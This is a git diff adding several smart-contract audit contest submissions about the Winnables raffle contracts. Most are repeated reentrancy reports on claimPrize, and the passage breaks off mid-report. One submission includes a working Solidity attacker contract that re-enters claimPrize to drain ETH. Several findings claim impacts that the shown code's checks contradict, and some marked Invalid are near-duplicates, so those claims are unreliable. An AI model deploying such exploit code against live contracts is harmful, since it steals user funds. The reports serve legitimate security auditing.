diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 3fbffbb..0000000 --- a/.gitignore +++ /dev/null @@ -1,10 +0,0 @@ -* -!*/ -!/.data -!/.github -!/.gitignore -!/README.md -!/comments.csv -!*.md -!**/*.md -!/Audit_Report.pdf diff --git a/001/001.md b/001/001.md new file mode 100644 index 0000000..486918e --- /dev/null +++ b/001/001.md @@ -0,0 +1,64 @@ +Merry Sepia Whale + +High + +# ETH raffle winners can steal funds from the Prize Manager + +## Summary +Given that a winner is entitled to an amount put up for a raffle after the raffle ends and can make a claim to retrieve the amount, winners of ETH token raffles can steal funds from the prize manager. + +## Vulnerability Detail +Issue arises from the fact that the claim status is mutated after the ether transfer and there is no non-reentrant modifier since the code doesn't follow CEI. + +Step to exploit this issue: +1. Assuming the winner won an ETH raffle, and there is more than one ETH raffle running concurrently with the prize of each raffle being 1 ETH each, (total ETH balance of contract being 2 ETH) they can use reentrancy to get all 2 ETH in the contract in one `claimPrize` transaction when they should only get 1 ETH. +2. The attacker needs to ensure they have the same contract across Avalanche (where tickets are bought) and Ethereum (where prizes are claimed). This is easily achievable as they can deploy the same contract on both chains to get the same address. To demonstrate, I have gone ahead to deploy a contract with the same address across Ethereum Sepolia and Polygon Amoy. Addresses are: Sepolia - https://sepolia.etherscan.io/address/0x13ac81ec680633f815241949126190ccadbcf07c, Polygon Amoy - https://www.oklink.com/amoy/address/0x13ac81ec680633f815241949126190ccadbcf07c + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +@> rafflePrize.status = RafflePrizeStatus.CLAIMED; // @audit done too late + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +## Impact +Loss of all ethers in the contract at the point of exploit belonging to other ETH raffles that is prizes locked in the `WinnablesPrizeManager` contract. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L123 + +## Tool used +Manual Review + +## Recommendation +Set the `rafflePrize.status` to CLAIMED before the ether transfer to the user. Ideally, before the if statements. Also throw in a non-reentrant modifier: + +```diff +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; +... +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); // move to the top +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); // move this to the top +- rafflePrize.status = RafflePrizeStatus.CLAIMED; // move this from the end to the top +} +``` \ No newline at end of file diff --git a/001/002.md b/001/002.md new file mode 100644 index 0000000..6a54223 --- /dev/null +++ b/001/002.md @@ -0,0 +1,65 @@ +Proud Pistachio Tardigrade + +High + +# Reentrancy in claimPrize() at WinnablesPrizeManager.sol + +### Summary + + +The claimPrize() function in the WinnablesPrizeManager.sol contract is vulnerable to reentrancy. The vulnerability is located in the logic that handles the transfer of different types of prizes (NFTs, tokens, and ETH) before updating the internal state of the contract. An attacker could exploit this vulnerability to repeatedly call the claimPrize function through the callback from the ETH transfer and drain the contract. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +File: WinnablesPrizeManager.sol + +105: function claimPrize(uint256 raffleId) external { //@audit reentrancy +106: RafflePrize storage rafflePrize = _rafflePrize[raffleId]; +107: RaffleType raffleType = rafflePrize.raffleType; +.. +116: } else if (raffleType == RaffleType.ETH) { +117: unchecked { _ethLocked -= _ethRaffles[raffleId]; } +118: _sendETHPrize(_ethRaffles[raffleId], msg.sender); +119: } else revert InvalidRaffle(); +120: if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +121: if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +122: rafflePrize.status = RafflePrizeStatus.CLAIMED; +123: emit PrizeClaimed(raffleId, msg.sender); +124: } + + +### Root Cause + +The function doesn't follow the checks-effects-interactions pattern and doesn't have a reentrancy guard nonReentrant modifier in place. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The attacker calls claimPrize, initiating a prize claim. + +2. Before the contract updates the rafflePrize.status to CLAIMED, the attacker triggers a fallback function in the recipient contract that re-enters claimPrize. + +3. The reentrant call proceeds to claim the same prize again, as the internal state indicating the prize has been claimed (rafflePrize.status) has not yet been updated. + +4.This process can be repeated, allowing the attacker to drain the contract of its assets. + +### Impact + +An attacker can drain the contract of its assets. + +### PoC + + + +### Mitigation + +1. Refactor the function to follow the checks-effects-interactions pattern. Ensure all state changes are made before external calls are performed. + +2. Add a reentrancy guard modifier to the function. \ No newline at end of file diff --git a/001/008.md b/001/008.md new file mode 100644 index 0000000..fba5085 --- /dev/null +++ b/001/008.md @@ -0,0 +1,69 @@ +Sour Denim Alpaca + +High + +# Multiple Reentrancy Vulnerabilities at WinnablesPrizeManager contract + +### Summary + +Functions like _sendETHPrize, _sendTokenPrize, and _sendNFTPrize make external calls to transfer ETH, ERC20 tokens, or NFTs to a winner without implementing any reentrancy guards. If an attacker gains control over the winner address, they could potentially re-enter the contract and exploit the state before it is updated. +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L314 + + +### Root Cause + + reentrancy guards missing. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This could allow an attacker to drain the contract's funds or manipulate the contract state in an unintended manner. + +### PoC + + Malicious Contract +This contract will attempt to exploit the sendETHPrize function by reentering the claimPrize function to drain all ETH from the WinnablesPrizeManager contract. + +```solidity +pragma solidity 0.8.24; + +import "./WinnablesPrizeManager.sol"; + +contract MaliciousContract { + WinnablesPrizeManager public target; + uint256 public raffleId; + + constructor(WinnablesPrizeManager _target, uint256 _raffleId) { + target = _target; + raffleId = _raffleId; + } + + // Fallback function will be triggered during the ETH transfer and will reenter the claimPrize function + receive() external payable { + if (address(target).balance > 0) { + target.claimPrize(raffleId); // Reentering the target contract + } + } + + // Attack function to start the reentrancy attack + function attack() external { + target.claimPrize(raffleId); + } +} +``` + + +### Mitigation + +Use a nonReentrant modifier or implement reentrancy protection using state variables to ensure the function cannot be re-entered. \ No newline at end of file diff --git a/001/013.md b/001/013.md new file mode 100644 index 0000000..1b4bc78 --- /dev/null +++ b/001/013.md @@ -0,0 +1,117 @@ +Rural Eggplant Frog + +Invalid + +# High Risk: Reentrancy Vulnerability in claimPrize + +### Summary + +The `claimPrize` function in the WinnablesPrizeManager contract is vulnerable to reentrancy attacks. This function performs external calls to transfer prizes (ETH, ERC20 tokens, or NFTs) before updating the contract's state, potentially allowing an attacker to recursively call the function and claim prizes multiple times. + +### Root Cause + +The `claimPrize` function follows a pattern that is susceptible to reentrancy: +1. It checks the raffle status and winner. +2. It transfers the prize (which involves external calls). +3. It updates the raffle status to CLAIMED. + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +} +``` + +This order of operations could allow a malicious contract to re-enter the `claimPrize` function before the raffle status is updated to CLAIMED, potentially leading to multiple prize claims for the same raffle. + +The vulnerable pattern is as follows: +1. Check conditions +2. Transfer prize (external call) +3. Update state + +An attacker could exploit this by creating a malicious contract with a fallback function that calls `claimPrize` again when it receives ETH or tokens. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +If successfully exploited, this vulnerability could lead to: +- Multiple claims of the same prize +- Draining of ETH or tokens from the contract +- Theft of NFT prizes +- Inconsistent state between prize distribution and raffle status +- Potential breakdown of the entire raffle and prize distribution mechanism + +The severity is high due to the potential for direct financial loss and compromise of the core functionality of the contract. + +### PoC + +_No response_ + +### Mitigation + +To mitigate this vulnerability, implement the checks-effects-interactions pattern and consider using OpenZeppelin's ReentrancyGuard: + +Move all state updates before any external calls. +Add the nonReentrant modifier to the claimPrize function. +``` + +import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; + +contract WinnablesPrizeManager is ReentrancyGuard { + //other codes + + function claimPrize(uint256 raffleId) external nonReentrant { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + + // Update state first + rafflePrize.status = RafflePrizeStatus.CLAIMED; + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + emit PrizeClaimed(raffleId, msg.sender); + } + + +} \ No newline at end of file diff --git a/001/015.md b/001/015.md new file mode 100644 index 0000000..3925a59 --- /dev/null +++ b/001/015.md @@ -0,0 +1,111 @@ +Rural Eggplant Frog + +Invalid + +# High : Reentrancy Vulnerability in claimPrize + +name: Potential Reentrancy in claimPrize Function +about: Analysis of a possible reentrancy vulnerability in the WinnablesPrizeManager contract +title: "High Risk: Reentrancy Vulnerability in claimPrize" +labels: "high, reentrancy, transfer, token-transfer" +assignees: "" +--- + +## Summary + +The `claimPrize` function in the WinnablesPrizeManager contract is vulnerable to reentrancy attacks. This function performs external calls to transfer prizes before updating the contract's state, allowing an attacker to recursively call the function and claim prizes multiple times. + +## Vulnerability Detail + +The `claimPrize` function follows a pattern that is susceptible to reentrancy: +1. It checks the raffle status and winner. +2. It transfers the prize (which involves external calls). +3. It updates the raffle status to CLAIMED. + +This order of operations could allow a malicious contract to re-enter the `claimPrize` function before the raffle status is updated to CLAIMED, leading to multiple prize claims for the same raffle. + +The vulnerable pattern is as follows: +1. Check conditions +2. Transfer prize (external call) +3. Update state + +An attacker could exploit this by creating a malicious contract with a fallback function that calls `claimPrize` again when it receives ETH or tokens. + +## Impact + +If successfully exploited, this vulnerability could lead to: +- Multiple claims of the same prize +- Draining of ETH or tokens from the contract +- Theft of NFT prizes +- Inconsistent state between prize distribution and raffle status +- Potential breakdown of the entire raffle and prize distribution mechanism + +The severity is high due to the potential for direct financial loss and compromise of the core functionality of the contract. + +## Code Snippet + + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +} +``` + +Manual Review +Recommendation +To mitigate this vulnerability, implement the checks-effects-interactions pattern and consider using OpenZeppelin's ReentrancyGuard: + +Move all state updates before any external calls. +Add the nonReentrant modifier to the claimPrize function. +``` + +import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; + +contract WinnablesPrizeManager is ReentrancyGuard { + // other code + + function claimPrize(uint256 raffleId) external nonReentrant { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + + // Update state first + rafflePrize.status = RafflePrizeStatus.CLAIMED; + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + emit PrizeClaimed(raffleId, msg.sender); + } + + // other code +} \ No newline at end of file diff --git a/001/017.md b/001/017.md new file mode 100644 index 0000000..46dc5ec --- /dev/null +++ b/001/017.md @@ -0,0 +1,111 @@ +Rural Eggplant Frog + +Invalid + +# High Risk: Reentrancy Vulnerability in claimPrize + +name: Potential Reentrancy in claimPrize Function +about: Analysis of a possible reentrancy vulnerability in the WinnablesPrizeManager contract +title: "High Risk: Reentrancy Vulnerability in claimPrize" +labels: "high, reentrancy, eth-transfer, token-transfer" +assignees: "" +--- + +## Summary + +The `claimPrize` function in the WinnablesPrizeManager contract is vulnerable to reentrancy attacks. This function performs external calls to transfer prizes (ETH, ERC20 tokens, or NFTs) before updating the contract's state, potentially allowing an attacker to recursively call the function and claim prizes multiple times. + +## Vulnerability Detail + +The `claimPrize` function follows a pattern that is susceptible to reentrancy: +1. It checks the raffle status and winner. +2. It transfers the prize (which involves external calls). +3. It updates the raffle status to CLAIMED. + +This order of operations could allow a malicious contract to re-enter the `claimPrize` function before the raffle status is updated to CLAIMED, leading to multiple prize claims for the same raffle. + +The vulnerable pattern is as follows: +1. Check conditions +2. Transfer prize (external call) +3. Update state + +An attacker could exploit this by creating a malicious contract with a fallback function that calls `claimPrize` again when it receives ETH or tokens. + +## Impact + +If successfully exploited, this vulnerability could lead to: +- Multiple claims of the same prize +- Draining of ETH or tokens from the contract +- Theft of NFT prizes +- Inconsistent state between prize distribution and raffle status +- Potential breakdown of the entire raffle and prize distribution mechanism + +The severity is high due to the potential for direct financial loss and compromise of the core functionality of the contract. + +## Code Snippet + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +} +``` + +Manual Review +Recommendation +To mitigate this vulnerability, implement the checks-effects-interactions pattern and consider using OpenZeppelin's ReentrancyGuard: + +Move all state updates before any external calls. +Add the nonReentrant modifier to the claimPrize function. +```solidity + +import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; + +contract WinnablesPrizeManager is ReentrancyGuard { + // other code + + function claimPrize(uint256 raffleId) external nonReentrant { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + + // Update state first + rafflePrize.status = RafflePrizeStatus.CLAIMED; + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + emit PrizeClaimed(raffleId, msg.sender); + } + + // other code +} +``` \ No newline at end of file diff --git a/001/019.md b/001/019.md new file mode 100644 index 0000000..52ccd12 --- /dev/null +++ b/001/019.md @@ -0,0 +1,49 @@ +Spare Flint Carp + +High + +# Reentrancy vulnerability in `claimPrize()` function allows multiple ETH claims + +## Summary + +The `claimPrize()` function in the `WinnablesPrizeManager.sol` contract is vulnerable to a reentrancy attack. + +## Vulnerability Detail + +In the `claimPrize()` function, if the raffle type is `RaffleType.ETH`, the function sends ETH to the winner using a call to `_sendETHPrize()`. This function transfers the ETH before updating the state variable `rafflePrize.status` to `CLAIMED`. Since the state update occurs after the ETH transfer `call`, a reentrancy attack is possible where the winner could reenter the `claimPrize()` function and claim the prize multiple times. + +## Impact + +An attacker who wins an ETH raffle can exploit this vulnerability to drain ETH from the contract. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L118 + +```solidity +File: WinnablesPrizeManager.sol +105: function claimPrize(uint256 raffleId) external { + ... +116: } else if (raffleType == RaffleType.ETH) { +117: unchecked { _ethLocked -= _ethRaffles[raffleId]; } +118:>> _sendETHPrize(_ethRaffles[raffleId], msg.sender); +119: } else revert InvalidRaffle(); +120: if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +121: if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +122:>> rafflePrize.status = RafflePrizeStatus.CLAIMED; +123: emit PrizeClaimed(raffleId, msg.sender); +124: } + +314: function _sendETHPrize(uint256 amount, address winner) internal { +315:>> (bool success, ) = winner.call{ value: amount }(""); +316: if (!success) revert ETHTransferFail(); +317: } +``` + +## Tool used + +Manual Review + +## Recommendation + +The state update should occur before the ETH transfer. \ No newline at end of file diff --git a/001/022.md b/001/022.md new file mode 100644 index 0000000..5362a49 --- /dev/null +++ b/001/022.md @@ -0,0 +1,82 @@ +Recumbent Ultraviolet Ram + +High + +# WinnablesPrizeManager.sol::claimPrize() is open to reentrancy and also has incorrect access control + +## Summary +claimPrize() in WinnablesPrizeManager.sol is vulnerable to reentrancy and has wrong access control +## Vulnerability Detail +claimPrize() is defined as: +```solidity + /// @notice (Public) Send the prize for a Raffle to its rightful winner + /// @param raffleId ID of the raffle + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim();//@audit-issue the check is placed incorrectly + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED;//@audit-issue that will not prevent reentrancy + emit PrizeClaimed(raffleId, msg.sender); + } +``` +The function handles distributing the rewards for the winner based on the raffle type. There are 2 issues with the current implementation. The first one is the following line: +```solidity + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +``` +The access control is placed after transferring the reward, which means any other user who is not winner can claim the reward. +**An example scenario:** +Bob, who is not the legitimate winner, creates a contract and calls claimPrize. ETH is sent to him via _sendETHPrize. The ETH is sent, triggering Bob's fallback function, which calls `claimPrize` again. When the check in the claimPrize function is finally performed, it realizes Bob isn't the winner and reverts, but by this point, the funds has already been sent, and the contract could be in a compromised state. + +The second issue is that ` rafflePrize.status = RafflePrizeStatus.CLAIMED;` is set after transfering the reward, which is an open door to reentrancy. The winner can reenter the function and claim the rewards multiple times, until the contract has no funds. + +NOTE: The issue is mentioned in previous [audit](https://github.com/Winnables/public-contracts/blob/main/audits/2024-08-05-Peckshield-Audit-Report.pdf) and it seems there has been a fix, however in the current repo , the code in the claimPrize() contradicts with that. + +## Impact +Draining the funds of contract, the rightfull winner can lose the funds he deserved +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103 +## Tool used +Manual Review, Vs Code +## Recommendation +Move the access control check to the beginning and set the claimed status before transfering the funds. +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + +++ // Early access control check + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + + // Update the state before any external calls +++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + emit PrizeClaimed(raffleId, msg.sender); + } +``` diff --git a/001/025.md b/001/025.md new file mode 100644 index 0000000..5ce3c04 --- /dev/null +++ b/001/025.md @@ -0,0 +1,74 @@ +Prehistoric Metal Rabbit + +High + +# Admin can deny winnings by disabling the approved CCIP counterpart, causing results propagation to fail + +### Summary + +Per the contest README: + +> Winnables admins cannot do anything to prevent a winner from withdrawing their prize + +By abusing `setCCIPCounterpart`, after the winner was decided, the admin can deny said winner from withdrawing their prize. + +### Root Cause + +Each raffle, the protocol relies on the Chainlink VRF to determine a winning ticket on the Avalanche chain. When the randomness request is fulfilled, anyone can call `WinnablesTicketManager.propagateRaffleWinner()` to send the results to Ethereum Mainnet via a CCIP message, committing a winner and allowing them to claim the prize. + +During `_ccipReceive()` on the receiving end, the receiving contract performs a check to see if the sender was actually the Winnables contract on the other chain: + +```solidity +(address _senderAddress) = abi.decode(message.sender, (address)); +bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); +if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L263-L265 + +However, at any time, admin can call `setCCIPCounterpart()` to remove the counterpart as a trusted address, even after a winner was decided. + +```solidity +function setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled +) external onlyRole(0) { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); +} +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134 + +Then the admin is able to deny selected winners' winnings any time after the VRF result was returned, and before the results were propagated (e.g. before `propagateRaffleWinner()` is called, or before the CCIP message reaches the Ethereum Mainnet side), causing every received CCIP message to fail, and the winner is never propagated. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The admin locks a prize, and starts a raffle as normal. People starts buying tickets to enter the raffle over on Avalanche chain. +2. The buying phase finishes, admin starts the VRF roll. +3. The VRF roll is returned, and a winner is selected. Now anyone can call `propagateRaffleWinner()` to deliver the results to the Mainnet. +4. Admin doesn't like the winner, so before the message is delivered to the Mainnet, the admin calls `setCCIPCounterpart()` on the Mainnet prize manager and denies and message coming from the Avalanche ticket manager. +5. Because the message never goes through, the winner is never propagated to the prize manager, and the winner cannot claim their prize. +6. Admin can reclaim the prize by setting another contract on Avalanche as the CCIP counterpart, and send a `RAFFLE_CANCELED` message to unlock the prize. + +### Impact + +Admin is able to deny selected winners of their winnings. This breaks a core invariant defined by the protocol. + +This also has no pre-conditions, and the result is that the winner is denied all their rightful winnings within a raffle. + +### PoC + +_No response_ + +### Mitigation + +When the prize is locked and the raffle is created, also lock in the ticket manager address as part of the raffle parameters. diff --git a/001/026.md b/001/026.md new file mode 100644 index 0000000..81f7ca2 --- /dev/null +++ b/001/026.md @@ -0,0 +1,64 @@ +Soaring Rusty Dragon + +Medium + +# Anyone can cancel a raffle with tickets == minTicketsThreshold, griefing all participants + +### Summary +```solidity + function _checkShouldDraw(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + uint256 currentTicketSold = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); + if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); + } +``` +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +As we can see, once the ticket sale is over, if exactly `minTicketsThreshold` were sold, both `cancelRaffle` and `drawWinner` are available. If anyone (e.g. a participant who does not want to participate anymore, or a griefer) manages to call `cancelRaffle` before anyone calls `drawWinner` for that `raffleId`, it would cancel a raffle that should have been drawn, according to the [code comment](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L250). + + + +### Root Cause + +`_checkShouldCancel` does not revert when `supply == raffle.minTicketsThreshold`. + +### Internal pre-conditions + +`currentTicketSold == raffle.minTicketsThreshold` +`block.timestamp >= raffle.endsAt` +`raffleStatus == RaffleStatus.IDLE` + +### Attack Path + +Anyone calls `cancelRaffle` when `block.timestamp >= raffle.endsAt`, and before `drawWinner` is called. + +### Impact + +Raffle 